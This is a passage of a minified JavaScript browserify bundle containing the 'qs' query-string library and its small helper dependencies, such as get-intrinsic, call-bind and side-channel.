e.depth||!1===e.depth?+e.depth:defaults.depth,duplicates:r,ignoreQueryPrefix:!0===e.ignoreQueryPrefix,interpretNumericEntities:"boolean"==typeof e.interpretNumericEntities?e.interpretNumericEntities:defaults.interpretNumericEntities,parameterLimit:"number"==typeof e.parameterLimit?e.parameterLimit:defaults.parameterLimit,parseArrays:!1!==e.parseArrays,plainObjects:"boolean"==typeof e.plainObjects?e.plainObjects:defaults.plainObjects,strictNullHandling:"boolean"==typeof e.strictNullHandling?e.strictNullHandling:defaults.strictNullHandling}};module.exports=function(e,t){var r=normalizeParseOptions(t);if(""===e||null==e)return r.plainObjects?Object.create(null):{};for(var a="string"==typeof e?parseValues(e,r):e,o=r.plainObjects?Object.create(null):{},i=Object.keys(a),l=0;l<i.length;++l){var s=i[l],n=parseKeys(s,a[s],r,"string"==typeof e);o=utils.merge(o,n,r)}return!0===r.allowSparse?o:utils.compact(o)};

},{"5":5}],4:[function(require,module,exports){
"use strict";var getSideChannel=require(29),utils=require(5),formats=require(1),has=Object.prototype.hasOwnProperty,arrayPrefixGenerators={brackets:function brackets(e){return e+"[]"},comma:"comma",indices:function indices(e,r){return e+"["+r+"]"},repeat:function repeat(e){return e}},isArray=Array.isArray,push=Array.prototype.push,pushToArray=function(e,r){push.apply(e,isArray(r)?r:[r])},toISO=Date.prototype.toISOString,defaultFormat=formats.default,defaults={addQueryPrefix:!1,allowDots:!1,allowEmptyArrays:!1,arrayFormat:"indices",charset:"utf-8",charsetSentinel:!1,delimiter:"&",encode:!0,encodeDotInKeys:!1,encoder:utils.encode,encodeValuesOnly:!1,format:defaultFormat,formatter:formats.formatters[defaultFormat],indices:!1,serializeDate:function serializeDate(e){return toISO.call(e)},skipNulls:!1,strictNullHandling:!1},isNonNullishPrimitive=function isNonNullishPrimitive(e){return"string"==typeof e||"number"==typeof e||"boolean"==typeof e||"symbol"==typeof e||"bigint"==typeof e},sentinel={},stringify=function stringify(e,r,t,o,a,n,i,l,s,f,u,d,y,c,p,m,h,v){for(var w=e,b=v,g=0,A=!1;void 0!==(b=b.get(sentinel))&&!A;){var D=b.get(e);if(g+=1,void 0!==D){if(D===g)throw new RangeError("Cyclic object value");A=!0}void 0===b.get(sentinel)&&(g=0)}if("function"==typeof f?w=f(r,w):w instanceof Date?w=y(w):"comma"===t&&isArray(w)&&(w=utils.maybeMap(w,(function(e){return e instanceof Date?y(e):e}))),null===w){if(n)return s&&!m?s(r,defaults.encoder,h,"key",c):r;w=""}if(isNonNullishPrimitive(w)||utils.isBuffer(w))return s?[p(m?r:s(r,defaults.encoder,h,"key",c))+"="+p(s(w,defaults.encoder,h,"value",c))]:[p(r)+"="+p(String(w))];var E,N=[];if(void 0===w)return N;if("comma"===t&&isArray(w))m&&s&&(w=utils.maybeMap(w,s)),E=[{value:w.length>0?w.join(",")||null:void 0}];else if(isArray(f))E=f;else{var S=Object.keys(w);E=u?S.sort(u):S}var O=l?r.replace(/\./g,"%2E"):r,T=o&&isArray(w)&&1===w.length?O+"[]":O;if(a&&isArray(w)&&0===w.length)return T+"[]";for(var k=0;k<E.length;++k){var I=E[k],P="object"==typeof I&&void 0!==I.value?I.value:w[I];if(!i||null!==P){var x=d&&l?I.replace(/\./g,"%2E"):I,z=isArray(w)?"function"==typeof t?t(T,x):T:T+(d?"."+x:"["+x+"]");v.set(e,g);var K=getSideChannel();K.set(sentinel,v),pushToArray(N,stringify(P,z,t,o,a,n,i,l,"comma"===t&&m&&isArray(w)?null:s,f,u,d,y,c,p,m,h,K))}}return N},normalizeStringifyOptions=function normalizeStringifyOptions(e){if(!e)return defaults;if(void 0!==e.allowEmptyArrays&&"boolean"!=typeof e.allowEmptyArrays)throw new TypeError("`allowEmptyArrays` option can only be `true` or `false`, when provided");if(void 0!==e.encodeDotInKeys&&"boolean"!=typeof e.encodeDotInKeys)throw new TypeError("`encodeDotInKeys` option can only be `true` or `false`, when provided");if(null!==e.encoder&&void 0!==e.encoder&&"function"!=typeof e.encoder)throw new TypeError("Encoder has to be a function.");var r=e.charset||defaults.charset;if(void 0!==e.charset&&"utf-8"!==e.charset&&"iso-8859-1"!==e.charset)throw new TypeError("The charset option must be either utf-8, iso-8859-1, or undefined");var t=formats.default;if(void 0!==e.format){if(!has.call(formats.formatters,e.format))throw new TypeError("Unknown format option provided.");t=e.format}var o,a=formats.formatters[t],n=defaults.filter;if(("function"==typeof e.filter||isArray(e.filter))&&(n=e.filter),o=e.arrayFormat in arrayPrefixGenerators?e.arrayFormat:"indices"in e?e.indices?"indices":"repeat":defaults.arrayFormat,"commaRoundTrip"in e&&"boolean"!=typeof e.commaRoundTrip)throw new TypeError("`commaRoundTrip` must be a boolean, or absent");var i=void 0===e.allowDots?!0===e.encodeDotInKeys||defaults.allowDots:!!e.allowDots;return{addQueryPrefix:"boolean"==typeof e.addQueryPrefix?e.addQueryPrefix:defaults.addQueryPrefix,allowDots:i,allowEmptyArrays:"boolean"==typeof e.allowEmptyArrays?!!e.allowEmptyArrays:defaults.allowEmptyArrays,arrayFormat:o,charset:r,charsetSentinel:"boolean"==typeof e.charsetSentinel?e.charsetSentinel:defaults.charsetSentinel,commaRoundTrip:e.commaRoundTrip,delimiter:void 0===e.delimiter?defaults.delimiter:e.delimiter,encode:"boolean"==typeof e.encode?e.encode:defaults.encode,encodeDotInKeys:"boolean"==typeof e.encodeDotInKeys?e.encodeDotInKeys:defaults.encodeDotInKeys,encoder:"function"==typeof e.encoder?e.encoder:defaults.encoder,encodeValuesOnly:"boolean"==typeof e.encodeValuesOnly?e.encodeValuesOnly:defaults.encodeValuesOnly,filter:n,format:t,formatter:a,serializeDate:"function"==typeof e.serializeDate?e.serializeDate:defaults.serializeDate,skipNulls:"boolean"==typeof e.skipNulls?e.skipNulls:defaults.skipNulls,sort:"function"==typeof e.sort?e.sort:null,strictNullHandling:"boolean"==typeof e.strictNullHandling?e.strictNullHandling:defaults.strictNullHandling}};module.exports=function(e,r){var t,o=e,a=normalizeStringifyOptions(r);"function"==typeof a.filter?o=(0,a.filter)("",o):isArray(a.filter)&&(t=a.filter);var n=[];if("object"!=typeof o||null===o)return"";var i=arrayPrefixGenerators[a.arrayFormat],l="comma"===i&&a.commaRoundTrip;t||(t=Object.keys(o)),a.sort&&t.sort(a.sort);for(var s=getSideChannel(),f=0;f<t.length;++f){var u=t[f];a.skipNulls&&null===o[u]||pushToArray(n,stringify(o[u],u,i,l,a.allowEmptyArrays,a.strictNullHandling,a.skipNulls,a.encodeDotInKeys,a.encode?a.encoder:null,a.filter,a.sort,a.allowDots,a.serializeDate,a.format,a.formatter,a.encodeValuesOnly,a.charset,s))}var d=n.join(a.delimiter),y=!0===a.addQueryPrefix?"?":"";return a.charsetSentinel&&("iso-8859-1"===a.charset?y+="utf8=%26%2310003%3B&":y+="utf8=%E2%9C%93&"),d.length>0?y+d:""};

},{"1":1,"29":29,"5":5}],5:[function(require,module,exports){
"use strict";var formats=require(1),has=Object.prototype.hasOwnProperty,isArray=Array.isArray,hexTable=function(){for(var e=[],r=0;r<256;++r)e.push("%"+((r<16?"0":"")+r.toString(16)).toUpperCase());return e}(),compactQueue=function compactQueue(e){for(;e.length>1;){var r=e.pop(),t=r.obj[r.prop];if(isArray(t)){for(var o=[],n=0;n<t.length;++n)void 0!==t[n]&&o.push(t[n]);r.obj[r.prop]=o}}},arrayToObject=function arrayToObject(e,r){for(var t=r&&r.plainObjects?Object.create(null):{},o=0;o<e.length;++o)void 0!==e[o]&&(t[o]=e[o]);return t},merge=function merge(e,r,t){if(!r)return e;if("object"!=typeof r){if(isArray(e))e.push(r);else{if(!e||"object"!=typeof e)return[e,r];(t&&(t.plainObjects||t.allowPrototypes)||!has.call(Object.prototype,r))&&(e[r]=!0)}return e}if(!e||"object"!=typeof e)return[e].concat(r);var o=e;return isArray(e)&&!isArray(r)&&(o=arrayToObject(e,t)),isArray(e)&&isArray(r)?(r.forEach((function(r,o){if(has.call(e,o)){var n=e[o];n&&"object"==typeof n&&r&&"object"==typeof r?e[o]=merge(n,r,t):e.push(r)}else e[o]=r})),e):Object.keys(r).reduce((function(e,o){var n=r[o];return has.call(e,o)?e[o]=merge(e[o],n,t):e[o]=n,e}),o)},assign=function assignSingleSource(e,r){return Object.keys(r).reduce((function(e,t){return e[t]=r[t],e}),e)},decode=function(e,r,t){var o=e.replace(/\+/g," ");if("iso-8859-1"===t)return o.replace(/%[0-9a-f]{2}/gi,unescape);try{return decodeURIComponent(o)}catch(e){return o}},limit=1024,encode=function encode(e,r,t,o,n){if(0===e.length)return e;var a=e;if("symbol"==typeof e?a=Symbol.prototype.toString.call(e):"string"!=typeof e&&(a=String(e)),"iso-8859-1"===t)return escape(a).replace(/%u[0-9a-f]{4}/gi,(function(e){return"%26%23"+parseInt(e.slice(2),16)+"%3B"}));for(var c="",i=0;i<a.length;i+=limit){for(var u=a.length>=limit?a.slice(i,i+limit):a,p=[],s=0;s<u.length;++s){var f=u.charCodeAt(s);45===f||46===f||95===f||126===f||f>=48&&f<=57||f>=65&&f<=90||f>=97&&f<=122||n===formats.RFC1738&&(40===f||41===f)?p[p.length]=u.charAt(s):f<128?p[p.length]=hexTable[f]:f<2048?p[p.length]=hexTable[192|f>>6]+hexTable[128|63&f]:f<55296||f>=57344?p[p.length]=hexTable[224|f>>12]+hexTable[128|f>>6&63]+hexTable[128|63&f]:(s+=1,f=65536+((1023&f)<<10|1023&u.charCodeAt(s)),p[p.length]=hexTable[240|f>>18]+hexTable[128|f>>12&63]+hexTable[128|f>>6&63]+hexTable[128|63&f])}c+=p.join("")}return c},compact=function compact(e){for(var r=[{obj:{o:e},prop:"o"}],t=[],o=0;o<r.length;++o)for(var n=r[o],a=n.obj[n.prop],c=Object.keys(a),i=0;i<c.length;++i){var u=c[i],p=a[u];"object"==typeof p&&null!==p&&-1===t.indexOf(p)&&(r.push({obj:a,prop:u}),t.push(p))}return compactQueue(r),e},isRegExp=function isRegExp(e){return"[object RegExp]"===Object.prototype.toString.call(e)},isBuffer=function isBuffer(e){return!(!e||"object"!=typeof e||!(e.constructor&&e.constructor.isBuffer&&e.constructor.isBuffer(e)))},combine=function combine(e,r){return[].concat(e,r)},maybeMap=function maybeMap(e,r){if(isArray(e)){for(var t=[],o=0;o<e.length;o+=1)t.push(r(e[o]));return t}return r(e)};module.exports={/* common-shake removed: arrayToObject:arrayToObject *//* common-shake removed: assign:assign */combine:combine,compact:compact,decode:decode,encode:encode,isBuffer:isBuffer,isRegExp:isRegExp,maybeMap:maybeMap,merge:merge};

},{"1":1}],29:[function(require,module,exports){
"use strict";var GetIntrinsic=require(20),callBound=require(7),inspect=require(27),$TypeError=require(16),$WeakMap=GetIntrinsic("%WeakMap%",!0),$Map=GetIntrinsic("%Map%",!0),$weakMapGet=callBound("WeakMap.prototype.get",!0),$weakMapSet=callBound("WeakMap.prototype.set",!0),$weakMapHas=callBound("WeakMap.prototype.has",!0),$mapGet=callBound("Map.prototype.get",!0),$mapSet=callBound("Map.prototype.set",!0),$mapHas=callBound("Map.prototype.has",!0),listGetNode=function(e,t){for(var n,a=e;null!==(n=a.next);a=n)if(n.key===t)return a.next=n.next,n.next=e.next,e.next=n,n},listGet=function(e,t){var n=listGetNode(e,t);return n&&n.value},listSet=function(e,t,n){var a=listGetNode(e,t);a?a.value=n:e.next={key:t,next:e.next,value:n}},listHas=function(e,t){return!!listGetNode(e,t)};module.exports=function getSideChannel(){var e,t,n,a={assert:function(e){if(!a.has(e))throw new $TypeError("Side channel does not contain "+inspect(e))},get:function(a){if($WeakMap&&a&&("object"==typeof a||"function"==typeof a)){if(e)return $weakMapGet(e,a)}else if($Map){if(t)return $mapGet(t,a)}else if(n)return listGet(n,a)},has:function(a){if($WeakMap&&a&&("object"==typeof a||"function"==typeof a)){if(e)return $weakMapHas(e,a)}else if($Map){if(t)return $mapHas(t,a)}else if(n)return listHas(n,a);return!1},set:function(a,r){$WeakMap&&a&&("object"==typeof a||"function"==typeof a)?(e||(e=new $WeakMap),$weakMapSet(e,a,r)):$Map?(t||(t=new $Map),$mapSet(t,a,r)):(n||(n={key:{},next:null}),listSet(n,a,r))}};return a};

},{"16":16,"20":20,"27":27,"7":7}],6:[function(require,module,exports){

},{}],7:[function(require,module,exports){
"use strict";var GetIntrinsic=require(20),callBind=require(8),$indexOf=callBind(GetIntrinsic("String.prototype.indexOf"));module.exports=function callBoundIntrinsic(i,n){var t=GetIntrinsic(i,!!n);return"function"==typeof t&&$indexOf(i,".prototype.")>-1?callBind(t):t};

},{"20":20,"8":8}],20:[function(require,module,exports){
"use strict";var undefined,$Error=require(12),$EvalError=require(11),$RangeError=require(13),$ReferenceError=require(14),$SyntaxError=require(15),$TypeError=require(16),$URIError=require(17),$Function=Function,getEvalledConstructor=function(r){try{return $Function('"use strict"; return ('+r+").constructor;")()}catch(r){}},$gOPD=Object.getOwnPropertyDescriptor;if($gOPD)try{$gOPD({},"")}catch(r){$gOPD=null}var throwTypeError=function(){throw new $TypeError},ThrowTypeError=$gOPD?function(){try{return throwTypeError}catch(r){try{return $gOPD(arguments,"callee").get}catch(r){return throwTypeError}}}():throwTypeError,hasSymbols=require(24)(),hasProto=require(23)(),getProto=Object.getPrototypeOf||(hasProto?function(r){return r.__proto__}:null),needsEval={},TypedArray="undefined"!=typeof Uint8Array&&getProto?getProto(Uint8Array):undefined,INTRINSICS={__proto__:null,"%AggregateError%":"undefined"==typeof AggregateError?undefined:AggregateError,"%Array%":Array,"%ArrayBuffer%":"undefined"==typeof ArrayBuffer?undefined:ArrayBuffer,"%ArrayIteratorPrototype%":hasSymbols&&getProto?getProto([][Symbol.iterator]()):undefined,"%AsyncFromSyncIteratorPrototype%":undefined,"%AsyncFunction%":needsEval,"%AsyncGenerator%":needsEval,"%AsyncGeneratorFunction%":needsEval,"%AsyncIteratorPrototype%":needsEval,"%Atomics%":"undefined"==typeof Atomics?undefined:Atomics,"%BigInt%":"undefined"==typeof BigInt?undefined:BigInt,"%BigInt64Array%":"undefined"==typeof BigInt64Array?undefined:BigInt64Array,"%BigUint64Array%":"undefined"==typeof BigUint64Array?undefined:BigUint64Array,"%Boolean%":Boolean,"%DataView%":"undefined"==typeof DataView?undefined:DataView,"%Date%":Date,"%decodeURI%":decodeURI,"%decodeURIComponent%":decodeURIComponent,"%encodeURI%":encodeURI,"%encodeURIComponent%":encodeURIComponent,"%Error%":$Error,"%eval%":eval,"%EvalError%":$EvalError,"%Float32Array%":"undefined"==typeof Float32Array?undefined:Float32Array,"%Float64Array%":"undefined"==typeof Float64Array?undefined:Float64Array,"%FinalizationRegistry%":"undefined"==typeof FinalizationRegistry?undefined:FinalizationRegistry,"%Function%":$Function,"%GeneratorFunction%":needsEval,"%Int8Array%":"undefined"==typeof Int8Array?undefined:Int8Array,"%Int16Array%":"undefined"==typeof Int16Array?undefined:Int16Array,"%Int32Array%":"undefined"==typeof Int32Array?undefined:Int32Array,"%isFinite%":isFinite,"%isNaN%":isNaN,"%IteratorPrototype%":hasSymbols&&getProto?getProto(getProto([][Symbol.iterator]())):undefined,"%JSON%":"object"==typeof JSON?JSON:undefined,"%Map%":"undefined"==typeof Map?undefined:Map,"%MapIteratorPrototype%":"undefined"!=typeof Map&&hasSymbols&&getProto?getProto((new Map)[Symbol.iterator]()):undefined,"%Math%":Math,"%Number%":Number,"%Object%":Object,"%parseFloat%":parseFloat,"%parseInt%":parseInt,"%Promise%":"undefined"==typeof Promise?undefined:Promise,"%Proxy%":"undefined"==typeof Proxy?undefined:Proxy,"%RangeError%":$RangeError,"%ReferenceError%":$ReferenceError,"%Reflect%":"undefined"==typeof Reflect?undefined:Reflect,"%RegExp%":RegExp,"%Set%":"undefined"==typeof Set?undefined:Set,"%SetIteratorPrototype%":"undefined"!=typeof Set&&hasSymbols&&getProto?getProto((new Set)[Symbol.iterator]()):undefined,"%SharedArrayBuffer%":"undefined"==typeof SharedArrayBuffer?undefined:SharedArrayBuffer,"%String%":String,"%StringIteratorPrototype%":hasSymbols&&getProto?getProto(""[Symbol.iterator]()):undefined,"%Symbol%":hasSymbols?Symbol:undefined,"%SyntaxError%":$SyntaxError,"%ThrowTypeError%":ThrowTypeError,"%TypedArray%":TypedArray,"%TypeError%":$TypeError,"%Uint8Array%":"undefined"==typeof Uint8Array?undefined:Uint8Array,"%Uint8ClampedArray%":"undefined"==typeof Uint8ClampedArray?undefined:Uint8ClampedArray,"%Uint16Array%":"undefined"==typeof Uint16Array?undefined:Uint16Array,"%Uint32Array%":"undefined"==typeof Uint32Array?undefined:Uint32Array,"%URIError%":$URIError,"%WeakMap%":"undefined"==typeof WeakMap?undefined:WeakMap,"%WeakRef%":"undefined"==typeof WeakRef?undefined:WeakRef,"%WeakSet%":"undefined"==typeof WeakSet?undefined:WeakSet};if(getProto)try{null.error}catch(r){var errorProto=getProto(getProto(r));INTRINSICS["%Error.prototype%"]=errorProto}var doEval=function doEval(r){var e;if("%AsyncFunction%"===r)e=getEvalledConstructor("async function () {}");else if("%GeneratorFunction%"===r)e=getEvalledConstructor("function* () {}");else if("%AsyncGeneratorFunction%"===r)e=getEvalledConstructor("async function* () {}");else if("%AsyncGenerator%"===r){var t=doEval("%AsyncGeneratorFunction%");t&&(e=t.prototype)}else if("%AsyncIteratorPrototype%"===r){var o=doEval("%AsyncGenerator%");o&&getProto&&(e=getProto(o.prototype))}return INTRINSICS[r]=e,e},LEGACY_ALIASES={__proto__:null,"%ArrayBufferPrototype%":["ArrayBuffer","prototype"],"%ArrayPrototype%":["Array","prototype"],"%ArrayProto_entries%":["Array","prototype","entries"],"%ArrayProto_forEach%":["Array","prototype","forEach"],"%ArrayProto_keys%":["Array","prototype","keys"],"%ArrayProto_values%":["Array","prototype","values"],"%AsyncFunctionPrototype%":["AsyncFunction","prototype"],"%AsyncGenerator%":["AsyncGeneratorFunction","prototype"],"%AsyncGeneratorPrototype%":["AsyncGeneratorFunction","prototype","prototype"],"%BooleanPrototype%":["Boolean","prototype"],"%DataViewPrototype%":["DataView","prototype"],"%DatePrototype%":["Date","prototype"],"%ErrorPrototype%":["Error","prototype"],"%EvalErrorPrototype%":["EvalError","prototype"],"%Float32ArrayPrototype%":["Float32Array","prototype"],"%Float64ArrayPrototype%":["Float64Array","prototype"],"%FunctionPrototype%":["Function","prototype"],"%Generator%":["GeneratorFunction","prototype"],"%GeneratorPrototype%":["GeneratorFunction","prototype","prototype"],"%Int8ArrayPrototype%":["Int8Array","prototype"],"%Int16ArrayPrototype%":["Int16Array","prototype"],"%Int32ArrayPrototype%":["Int32Array","prototype"],"%JSONParse%":["JSON","parse"],"%JSONStringify%":["JSON","stringify"],"%MapPrototype%":["Map","prototype"],"%NumberPrototype%":["Number","prototype"],"%ObjectPrototype%":["Object","prototype"],"%ObjProto_toString%":["Object","prototype","toString"],"%ObjProto_valueOf%":["Object","prototype","valueOf"],"%PromisePrototype%":["Promise","prototype"],"%PromiseProto_then%":["Promise","prototype","then"],"%Promise_all%":["Promise","all"],"%Promise_reject%":["Promise","reject"],"%Promise_resolve%":["Promise","resolve"],"%RangeErrorPrototype%":["RangeError","prototype"],"%ReferenceErrorPrototype%":["ReferenceError","prototype"],"%RegExpPrototype%":["RegExp","prototype"],"%SetPrototype%":["Set","prototype"],"%SharedArrayBufferPrototype%":["SharedArrayBuffer","prototype"],"%StringPrototype%":["String","prototype"],"%SymbolPrototype%":["Symbol","prototype"],"%SyntaxErrorPrototype%":["SyntaxError","prototype"],"%TypedArrayPrototype%":["TypedArray","prototype"],"%TypeErrorPrototype%":["TypeError","prototype"],"%Uint8ArrayPrototype%":["Uint8Array","prototype"],"%Uint8ClampedArrayPrototype%":["Uint8ClampedArray","prototype"],"%Uint16ArrayPrototype%":["Uint16Array","prototype"],"%Uint32ArrayPrototype%":["Uint32Array","prototype"],"%URIErrorPrototype%":["URIError","prototype"],"%WeakMapPrototype%":["WeakMap","prototype"],"%WeakSetPrototype%":["WeakSet","prototype"]},bind=require(19),hasOwn=require(26),$concat=bind.call(Function.call,Array.prototype.concat),$spliceApply=bind.call(Function.apply,Array.prototype.splice),$replace=bind.call(Function.call,String.prototype.replace),$strSlice=bind.call(Function.call,String.prototype.slice),$exec=bind.call(Function.call,RegExp.prototype.exec),rePropName=/[^%.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|%$))/g,reEscapeChar=/\\(\\)?/g,stringToPath=function stringToPath(r){var e=$strSlice(r,0,1),t=$strSlice(r,-1);if("%"===e&&"%"!==t)throw new $SyntaxError("invalid intrinsic syntax, expected closing `%`");if("%"===t&&"%"!==e)throw new $SyntaxError("invalid intrinsic syntax, expected opening `%`");var o=[];return $replace(r,rePropName,(function(r,e,t,n){o[o.length]=t?$replace(n,reEscapeChar,"$1"):e||r})),o},getBaseIntrinsic=function getBaseIntrinsic(r,e){var t,o=r;if(hasOwn(LEGACY_ALIASES,o)&&(o="%"+(t=LEGACY_ALIASES[o])[0]+"%"),hasOwn(INTRINSICS,o)){var n=INTRINSICS[o];if(n===needsEval&&(n=doEval(o)),void 0===n&&!e)throw new $TypeError("intrinsic "+r+" exists, but is not available. Please file an issue!");return{alias:t,name:o,value:n}}throw new $SyntaxError("intrinsic "+r+" does not exist!")};module.exports=function GetIntrinsic(r,e){if("string"!=typeof r||0===r.length)throw new $TypeError("intrinsic name must be a non-empty string");if(arguments.length>1&&"boolean"!=typeof e)throw new $TypeError('"allowMissing" argument must be a boolean');if(null===$exec(/^%?[^%]*%?$/,r))throw new $SyntaxError("`%` may not be present anywhere but at the beginning and end of the intrinsic name");var t=stringToPath(r),o=t.length>0?t[0]:"",n=getBaseIntrinsic("%"+o+"%",e),a=n.name,y=n.value,i=!1,p=n.alias;p&&(o=p[0],$spliceApply(t,$concat([0,1],p)));for(var d=1,s=!0;d<t.length;d+=1){var f=t[d],u=$strSlice(f,0,1),l=$strSlice(f,-1);if(('"'===u||"'"===u||"`"===u||'"'===l||"'"===l||"`"===l)&&u!==l)throw new $SyntaxError("property names with quotes must have matching quotes");if("constructor"!==f&&s||(i=!0),hasOwn(INTRINSICS,a="%"+(o+="."+f)+"%"))y=INTRINSICS[a];else if(null!=y){if(!(f in y)){if(!e)throw new $TypeError("base intrinsic for "+r+" exists, but the property is not available.");return}if($gOPD&&d+1>=t.length){var c=$gOPD(y,f);y=(s=!!c)&&"get"in c&&!("originalValue"in c.get)?c.get:y[f]}else s=hasOwn(y,f),y=y[f];s&&!i&&(INTRINSICS[a]=y)}}return y};

},{"11":11,"12":12,"13":13,"14":14,"15":15,"16":16,"17":17,"19":19,"23":23,"24":24,"26":26}],8:[function(require,module,exports){
"use strict";var bind=require(19),GetIntrinsic=require(20),setFunctionLength=require(28),$TypeError=require(16),$apply=GetIntrinsic("%Function.prototype.apply%"),$call=GetIntrinsic("%Function.prototype.call%"),$reflectApply=GetIntrinsic("%Reflect.apply%",!0)||bind.call($call,$apply),$defineProperty=require(10),$max=GetIntrinsic("%Math.max%");module.exports=function callBind(e){if("function"!=typeof e)throw new $TypeError("a function is required");var n=$reflectApply(bind,$call,arguments);return setFunctionLength(n,1+$max(0,e.length-(arguments.length-1)),!0)};var applyBind=function applyBind(){return $reflectApply(bind,$apply,arguments)};$defineProperty?$defineProperty(module.exports,"apply",{value:applyBind}):module.exports.apply=applyBind;

},{"10":10,"16":16,"19":19,"20":20,"28":28}],16:[function(require,module,exports){
"use strict";module.exports=TypeError;

},{}],19:[function(require,module,exports){
"use strict";var implementation=require(18);module.exports=Function.prototype.bind||implementation;

},{"18":18}],10:[function(require,module,exports){
"use strict";var GetIntrinsic=require(20),$defineProperty=GetIntrinsic("%Object.defineProperty%",!0)||!1;if($defineProperty)try{$defineProperty({},"a",{value:1})}catch(e){$defineProperty=!1}module.exports=$defineProperty;

},{"20":20}],28:[function(require,module,exports){
"use strict";var GetIntrinsic=require(20),define=require(9),hasDescriptors=require(22)(),gOPD=require(21),$TypeError=require(16),$floor=GetIntrinsic("%Math.floor%");module.exports=function setFunctionLength(e,r){if("function"!=typeof e)throw new $TypeError("`fn` is not a function");if("number"!=typeof r||r<0||r>4294967295||$floor(r)!==r)throw new $TypeError("`length` must be a positive 32-bit integer");var t=arguments.length>2&&!!arguments[2],i=!0,n=!0;if("length"in e&&gOPD){var o=gOPD(e,"length");o&&!o.configurable&&(i=!1),o&&!o.writable&&(n=!1)}return(i||n||!t)&&(hasDescriptors?define(e,"length",r,!0,!0):define(e,"length",r)),e};

},{"16":16,"20":20,"21":21,"22":22,"9":9}],9:[function(require,module,exports){
"use strict";var $defineProperty=require(10),$SyntaxError=require(15),$TypeError=require(16),gopd=require(21);module.exports=function defineDataProperty(e,r,o){if(!e||"object"!=typeof e&&"function"!=typeof e)throw new $TypeError("`obj` must be an object or a function`");if("string"!=typeof r&&"symbol"!=typeof r)throw new $TypeError("`property` must be a string or a symbol`");if(arguments.length>3&&"boolean"!=typeof arguments[3]&&null!==arguments[3])throw new $TypeError("`nonEnumerable`, if provided, must be a boolean or null");if(arguments.length>4&&"boolean"!=typeof arguments[4]&&null!==arguments[4])throw new $TypeError("`nonWritable`, if provided, must be a boolean or null");if(arguments.length>5&&"boolean"!=typeof arguments[5]&&null!==arguments[5])throw new $TypeError("`nonConfigurable`, if provided, must be a boolean or null");if(arguments.length>6&&"boolean"!=typeof arguments[6])throw new $TypeError("`loose`, if provided, must be a boolean");var n=arguments.length>3?arguments[3]:null,l=arguments.length>4?arguments[4]:null,t=arguments.length>5?arguments[5]:null,i=arguments.length>6&&arguments[6],a=!!gopd&&gopd(e,r);if($defineProperty)$defineProperty(e,r,{configurable:null===t&&a?a.configurable:!t,enumerable:null===n&&a?a.enumerable:!n,value:o,writable:null===l&&a?a.writable:!l});else{if(!i&&(n||l||t))throw new $SyntaxError("This environment does not support defining a property as non-configurable, non-writable, or non-enumerable.");e[r]=o}};

},{"10":10,"15":15,"16":16,"21":21}],15:[function(require,module,exports){
"use strict";module.exports=SyntaxError;

},{}],21:[function(require,module,exports){
"use strict";var GetIntrinsic=require(20),$gOPD=GetIntrinsic("%Object.getOwnPropertyDescriptor%",!0);if($gOPD)try{$gOPD([],"length")}catch(t){$gOPD=null}module.exports=$gOPD;

},{"20":20}],11:[function(require,module,exports){
"use strict";module.exports=EvalError;

},{}],12:[function(require,module,exports){
"use strict";module.exports=Error;

},{}],13:[function(require,module,exports){
"use strict";module.exports=RangeError;

},{}],14:[function(require,module,exports){
"use strict";module.exports=ReferenceError;

},{}],17:[function(require,module,exports){
"use strict";module.exports=URIError;

},{}],18:[function(require,module,exports){
"use strict";var ERROR_MESSAGE="Function.prototype.bind called on incompatible ",toStr=Object.prototype.toString,max=Math.max,funcType="[object Function]",concatty=function concatty(t,n){for(var r=[],o=0;o<t.length;o+=1)r[o]=t[o];for(var e=0;e<n.length;e+=1)r[e+t.length]=n[e];return r},slicy=function slicy(t,n){for(var r=[],o=n||0,e=0;o<t.length;o+=1,e+=1)r[e]=t[o];return r},joiny=function(t,n){for(var r="",o=0;o<t.length;o+=1)r+=t[o],o+1<t.length&&(r+=n);return r};module.exports=function bind(t){var n=this;if("function"!=typeof n||toStr.apply(n)!==funcType)throw new TypeError(ERROR_MESSAGE+n);for(var r,o=slicy(arguments,1),e=max(0,n.length-o.length),i=[],c=0;c<e;c++)i[c]="$"+c;if(r=Function("binder","return function ("+joiny(i,",")+"){ return binder.apply(this,arguments); }")((function(){if(this instanceof r){var e=n.apply(this,concatty(o,arguments));return Object(e)===e?e:this}return n.apply(t,concatty(o,arguments))})),n.prototype){var p=function Empty(){};p.prototype=n.prototype,r.prototype=new p,p.prototype=null}return r};

},{}],23:[function(require,module,exports){
"use strict";var test={__proto__:null,foo:{}},$Object=Object;module.exports=function hasProto(){return{__proto__:test}.foo===test.foo&&!(test instanceof $Object)};

},{}],26:[function(require,module,exports){
"use strict";var call=Function.prototype.call,$hasOwn=Object.prototype.hasOwnProperty,bind=require(19);module.exports=bind.call(call,$hasOwn);

},{"19":19}],24:[function(require,module,exports){
"use strict";var origSymbol="undefined"!=typeof Symbol&&Symbol,hasSymbolSham=require(25);module.exports=function hasNativeSymbols(){return"function"==typeof origSymbol&&"function"==typeof Symbol&&"symbol"==typeof origSymbol("foo")&&"symbol"==typeof Symbol("bar")&&hasSymbolSham()};

},{"25":25}],22:[function(require,module,exports){
"use strict";var $defineProperty=require(10),hasPropertyDescriptors=function hasPropertyDescriptors(){return!!$defineProperty};hasPropertyDescriptors.hasArrayLengthDefineBug=function hasArrayLengthDefineBug(){if(!$defineProperty)return null;try{return 1!==$defineProperty([],"length",{value:1}).length}catch(r){return!0}},module.exports=hasPropertyDescriptors;

},{"10":10}],25:[function(require,module,exports){
"use strict";module.exports=function hasSymbols(){if("function"!=typeof Symbol||"function"!=typeof Object.getOwnPropertySymbols)return!1;if("symbol"==typeof Symbol.iterator)return!0;var t={},e=Symbol("test"),r=Object(e);if("string"==typeof e)return!1;if("[object Symbol]"!==Object.prototype.toString.call(e))return!1;if("[object Symbol]"!==Object.prototype.toString.call(r))return!1;for(e in t[e]=42,t)return!1;if("function"==typeof Object.keys&&0!==Object.keys(t).length)return!1;if("function"==typeof Object.getOwnPropertyNames&&0!==Object.getOwnPropertyNames(t).length)return!1;var o=Object.getOwnPropertySymbols(t);if(1!==o.length||o[0]!==e)return!1;if(!Object.prototype.propertyIsEnumerable.call(t,e))return!1;if("function"==typeof Object.getOwnPropertyDescriptor){var n=Object.getOwnPropertyDescriptor(t,e);if(42!==n.value||!0!==n.enumerable)return!1}return!0};

},{}],27:[function(require,module,exports){
(function (global){(function (){
